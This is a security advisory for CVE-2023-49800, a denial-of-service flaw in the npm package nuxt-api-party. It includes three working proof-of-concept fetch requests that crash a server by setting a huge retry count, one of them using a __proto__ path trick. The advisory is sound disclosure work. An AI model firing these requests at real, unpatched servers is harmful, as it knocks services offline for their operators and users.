Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1xNmh4LTNtNHAtNzQ5aM4AA3qn

DOS by abusing `fetchOptions.retry`.

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.

The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.

Details

fetchOptions are obtained directly from the request body. These are then passed directly into ofetch
.

We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.

PoC

POC using Node.

await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
    method: "POST",
    body: JSON.stringify({ path: "x:x", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

We can use __proto__ as a substitute for the endpoint if it is not known.

await fetch("http://localhost:3000/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "x:x", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

We can build the size of the stack faster by using more complicated URIs

await fetch("http://localhost:3000/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

Impact

Full DOS, server is unusable during attack. Requires a single request.

Fix

Limit which options can be passed to ofetch.

Permalink: https://github.com/advisories/GHSA-q6hx-3m4p-749h
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNmh4LTNtNHAtNzQ5aM4AA3qn
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 12 months ago
Updated: 12 months ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-q6hx-3m4p-749h, CVE-2023-49800
References: Repository: https://github.com/johannschopplich/nuxt-api-party
Blast Radius: 2.3

Affected Packages

npm:nuxt-api-party
Dependent packages: 6
Dependent repositories: 2
Downloads: 9,547 last month
Affected Version Ranges: < 0.22.1
Fixed in: 0.22.1
All affected versions: 0.1.0, 0.1.1, 0.1.2, 0.1.4, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.2.0, 0.2.1, 0.3.0, 0.3.1, 0.4.0, 0.4.1, 0.4.2, 0.4.4, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.5.6, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.6.5, 0.7.0, 0.7.1, 0.7.2, 0.8.0, 0.8.1, 0.8.2, 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 0.10.5, 0.11.0, 0.11.1, 0.11.2, 0.11.3, 0.11.4, 0.12.0, 0.13.0, 0.13.1, 0.14.1, 0.14.2, 0.14.3, 0.15.0, 0.15.1, 0.15.2, 0.15.4, 0.16.0, 0.16.1, 0.16.2, 0.16.3, 0.16.4, 0.17.0, 0.17.1, 0.18.0, 0.18.1, 0.19.0, 0.20.0, 0.20.1, 0.21.0, 0.21.2, 0.21.3
All unaffected versions: 0.22.1, 0.22.2, 0.22.3, 0.23.0, 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.1.2, 2.0.0, 2.0.2, 2.0.3, 2.0.4, 2.0.5, 2.0.6, 2.0.7, 2.0.8, 2.0.9, 2.0.10, 2.0.11, 2.1.0